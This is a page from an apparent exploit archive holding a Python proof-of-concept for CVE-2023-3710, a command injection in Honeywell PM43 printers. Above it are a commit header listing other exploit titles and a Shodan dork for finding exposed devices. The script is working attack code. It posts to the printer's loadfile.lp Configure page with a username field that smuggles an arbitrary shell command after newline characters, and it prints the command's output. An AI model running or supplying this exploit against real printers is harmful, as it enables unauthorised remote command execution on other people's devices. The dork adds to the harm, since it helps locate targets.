2af1700331
10 changes to exploits/shellcodes/ghdb Honeywell PM43 < P10.19.050004 - Remote Code Execution (RCE) Ruijie Switch PSG-5124 26293 - Remote Code Execution (RCE) SolarView Compact 6.00 - Command Injection Viessmann Vitogate 300 2.1.3.0 - Remote Code Execution (RCE) GitLab CE/EE < 16.7.2 - Password Reset JetBrains TeamCity 2023.05.3 - Remote Code Execution (RCE) KiTTY 0.76.1.13 - 'Start Duplicated Session Hostname' Buffer Overflow KiTTY 0.76.1.13 - 'Start Duplicated Session Username' Buffer Overflow KiTTY 0.76.1.13 - Command Injection
57 lines
No EOL
1.9 KiB
Python
Executable file
57 lines
No EOL
1.9 KiB
Python
Executable file
#- Exploit Title: Honeywell PM43 < P10.19.050004 - Remote Code Execution (RCE)
|
|
#- Shodan Dork: http.title:PM43 , PM43
|
|
#- Exploit Author: ByteHunter
|
|
#- Email: 0xByteHunter@proton.me
|
|
#- Frimware Version: versions prior to P10.19.050004
|
|
#- Tested on: P10.17.019667
|
|
#- CVE : CVE-2023-3710
|
|
|
|
|
|
import requests
|
|
import argparse
|
|
|
|
BLUE = '\033[94m'
|
|
YELLOW = '\033[93m'
|
|
RESET = '\033[0m'
|
|
|
|
def banner():
|
|
banner = """
|
|
╔════════════════════════════════════════════════╗
|
|
CVE-2023-3710
|
|
Command Injection in Honeywell PM43 Printers
|
|
Author: ByteHunter
|
|
╚════════════════════════════════════════════════╝
|
|
"""
|
|
print(YELLOW + banner + RESET)
|
|
|
|
|
|
def run_command(url, command):
|
|
full_url = f"{url}/loadfile.lp?pageid=Configure"
|
|
payload = {
|
|
'username': f'hunt\n{command}\n',
|
|
'userpassword': 'admin12345admin!!'
|
|
}
|
|
try:
|
|
response = requests.post(full_url, data=payload, verify=False)
|
|
response_text = response.text
|
|
html_start_index = response_text.find('<html>')
|
|
if html_start_index != -1:
|
|
return response_text[:html_start_index]
|
|
else:
|
|
return response_text
|
|
except requests.exceptions.RequestException as e:
|
|
return f"Error: {e}"
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(description='Command Injection PoC for Honeywell PM43 Printers')
|
|
parser.add_argument('--url', dest='url', help='Target URL', required=True)
|
|
parser.add_argument('--run', dest='command', help='Command to execute', required=True)
|
|
|
|
args = parser.parse_args()
|
|
|
|
response = run_command(args.url, args.command)
|
|
print(f"{BLUE}{response}{RESET}")
|
|
|
|
if __name__ == "__main__":
|
|
banner()
|
|
main() |